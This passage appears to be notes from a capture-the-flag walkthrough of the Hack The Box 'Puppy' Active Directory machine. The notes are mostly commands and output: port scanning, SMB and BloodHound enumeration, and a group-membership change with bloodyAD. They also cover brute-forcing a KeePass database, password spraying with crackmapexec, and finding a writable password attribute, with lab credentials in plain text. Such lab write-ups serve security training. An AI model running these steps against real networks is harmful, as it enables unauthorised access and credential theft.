$ rustscan --ulimit 10000 -a 10.129.222.139 -- -sCTV -Pn.----. .-. .-. .----..---. .----. .---. .--. .-. .-.| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| || .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-`The Modern Day Port Scanner.________________________________________: http://discord.skerritt.blog :: https://github.com/RustScan/RustScan : --------------------------------------RustScan: Because guessing isn`t hacking.[~] Automatically increasing ulimit value to 10000.Open 10.129.222.139:53Open 10.129.222.139:88Open 10.129.222.139:111Open 10.129.222.139:135Open 10.129.222.139:139Open 10.129.222.139:389Open 10.129.222.139:445Open 10.129.222.139:464Open 10.129.222.139:593Open 10.129.222.139:636Open 10.129.222.139:3260Open 10.129.222.139:3268Open 10.129.222.139:3269Open 10.129.222.139:5985Open 10.129.222.139:9389Open 10.129.222.139:49664Open 10.129.222.139:49667Open 10.129.222.139:49669Open 10.129.222.139:49670Open 10.129.222.139:49685Open 10.129.222.139:52113Open 10.129.222.139:52128*snip*PORT STATE SERVICE REASON VERSION53/tcp open domain syn-ack Simple DNS Plus88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-05-18 15:42:44Z)111/tcp open rpcbind? syn-ack135/tcp open msrpc syn-ack Microsoft Windows RPC139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)445/tcp open microsoft-ds? syn-ack464/tcp open kpasswd5? syn-ack593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped syn-ack2049/tcp open rpcbind syn-ack3260/tcp open iscsi? syn-ack5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)9389/tcp open mc-nmf syn-ack .NET Message Framing49664/tcp open msrpc syn-ack Microsoft Windows RPC49667/tcp open msrpc syn-ack Microsoft Windows RPC49669/tcp open msrpc syn-ack Microsoft Windows RPC49670/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.049685/tcp open msrpc syn-ack Microsoft Windows RPC52113/tcp open msrpc syn-ack Microsoft Windows RPC52128/tcp open msrpc syn-ack Microsoft Windows RPCService Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:|_clock-skew: 7h00m26s
puppy.htb → /etc/hosts
Fix time skew
$ sudo ntpdate puppy.htbCLOCK: time stepped by 25226.715086
We see SMB port open → check our provided credentials
$ crackmapexec smb 10.129.222.139 -u levi.james -p 'KingofAkron2025!' --sharesSMB 10.129.222.139 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)SMB 10.129.222.139 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!SMB 10.129.222.139 445 DC [+] Enumerated sharesSMB 10.129.222.139 445 DC Share Permissions RemarkSMB 10.129.222.139 445 DC ----- ----------- ------SMB 10.129.222.139 445 DC ADMIN$ Remote AdminSMB 10.129.222.139 445 DC C$ Default shareSMB 10.129.222.139 445 DC DEV DEV-SHARE for PUPPY-DEVSSMB 10.129.222.139 445 DC IPC$ READ Remote IPCSMB 10.129.222.139 445 DC NETLOGON READ Logon server shareSMB 10.129.222.139 445 DC SYSVOL READ Logon server share
Nothing useful + we do not have read access in /DEV which seems interesting
$ smbclient -U "PUPPY.HTB\\levi.james" //10.129.222.139/DEVPassword for [PUPPY.HTB\levi.james]: 'KingofAkron2025!'Try "help" to get a list of possible commands.smb: \> lsNT_STATUS_ACCESS_DENIED listing \*
Release the hounds for more information (netexec works pretty well)
$ nxc ldap puppy.htb -u levi.james -p 'KingofAkron2025!' --bloodhound --collection All --dns-server 10.129.222.139SMB 10.129.222.139 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)LDAP 10.129.222.139 389 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!LDAP 10.129.222.139 389 DC Resolved collection methods: trusts, container, rdp, localadmin, dcom, group, session, psremote, acl, objectpropsLDAP 10.129.222.139 389 DC Done in 00M 10SLDAP 10.129.222.139 389 DC Compressing output into /home/nerd/.nxc/logs/DC_10.129.222.139_*_bloodhound.zip$ mv /path/to/*.zip hound.zip
Load into Bloodhound
HR has GenericWrite over Developers (maybe then can read SMB share?)
Add Levi to Developer group and access /DEV
$ bloodyAD -d puppy.htb -u levi.james -p 'KingofAkron2025!' --host puppy.htb add groupMember Developers levi.james[+] levi.james added to DEVELOPERS$ smbclient //puppy.htb/DEV -U levi.james 'KingofAkron2025!'Try "help" to get a list of possible commands.smb: \> ls . DR 0 Sun Mar 23 03:07:57 2025 .. D 0 Sat Mar 8 11:52:57 2025 KeePassXC-2.7.9-Win64.msi A 34394112 Sun Mar 23 03:09:12 2025 Projects D 0 Sat Mar 8 11:53:36 2025 recovery.kdbx A 2677 Tue Mar 11 22:25:46 2025 5080575 blocks of size 4096. 1514716 blocks availablesmb: \> get recovery.kdbxgetting file \recovery.kdbx of size 2677 as recovery.kdbx (13.6 KiloBytes/sec) (average 13.6 KiloBytes/sec)
User
Keepass file we can attempt to open, but needs password
We do not know the pass, need to crack. keepass2john is outdated but can find Keepass4brute
$ curl -L -o keepass4brute.sh https://raw.githubusercontent.com/r3nt0n/keepass4brute/master/keepass4brute.sh % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 2820 100 2820 0 0 28635 0 --:--:-- --:--:-- --:--:-- 28775$ chmod +x keepass4brute.sh$ ./keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txtkeepass4brute 1.3 by r3nt0nhttps://github.com/r3nt0n/keepass4brute[+] Words tested: 36/14344392 - Attempts per minute: 154 - Estimated time remaining: 9 weeks, 1 days[+] Current attempt: liverpool[*] Password found: liverpool$ keepassxc recovery.kdbx
PW = liverpool
Extract passwords + create user & pass list based on relevant Bloodhound accounts
$ nano users.txtadministratorant.edwardsjamie.williamssteph.coopersteph.cooper_adm$ nano pws.txtHJKL2025!Antman2025!JamieLove2025!ILY2025!Steve2025!$ crackmapexec smb 10.129.222.139 -u users.txt -p pass.txt --continue-on-successSMB 10.129.222.139 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)SMB 10.129.222.139 445 DC [-] PUPPY.HTB\levi.james:HJKL2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\levi.james:Antman2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\levi.james:JamieLove2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\levi.james:ILY2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\levi.james:Steve2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\ant.edwards:HJKL2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!SMB 10.129.222.139 445 DC [-] PUPPY.HTB\ant.edwards:JamieLove2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\ant.edwards:ILY2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\ant.edwards:Steve2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\adam.silver:HJKL2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\adam.silver:Antman2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\adam.silver:JamieLove2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\adam.silver:ILY2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\adam.silver:Steve2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\jamie.williams:HJKL2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\jamie.williams:Antman2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\jamie.williams:JamieLove2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\jamie.williams:ILY2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\jamie.williams:Steve2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\samuel.blake:HJKL2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\samuel.blake:Antman2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\samuel.blake:JamieLove2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\samuel.blake:ILY2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\samuel.blake:Steve2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\steve.tucker:HJKL2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\steve.tucker:Antman2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\steve.tucker:JamieLove2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\steve.tucker:ILY2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\steve.tucker:Steve2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\steph.cooper:HJKL2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\steph.cooper:Antman2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\steph.cooper:JamieLove2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\steph.cooper:ILY2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\steph.cooper:Steve2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\steph.cooper_adm:HJKL2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\steph.cooper_adm:Antman2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\steph.cooper_adm:JamieLove2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\steph.cooper_adm:ILY2025! STATUS_LOGON_FAILURESMB 10.129.222.139 445 DC [-] PUPPY.HTB\steph.cooper_adm:Steve2025! STATUS_LOGON_FAILURE
ant.edwards : Antman2025!
Enum this user in Bloodhound to reveals path
dc.puppy.htb → /etc/hosts
GenericAll over Adam.Silver so lets investigate further for writable properties
$ bloodyAD --host puppy.htb -d puppy.htb -u ant.edwards -p 'Antman2025!' get writable --detaildistinguishedName: CN=Anthony J. Edwards,DC=PUPPY,DC=HTB*snip bc its his account*distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB*snip for relevant privesc options*unicodePwd: WRITEuserAccountControl: WRITE
We can activate and change password to a known one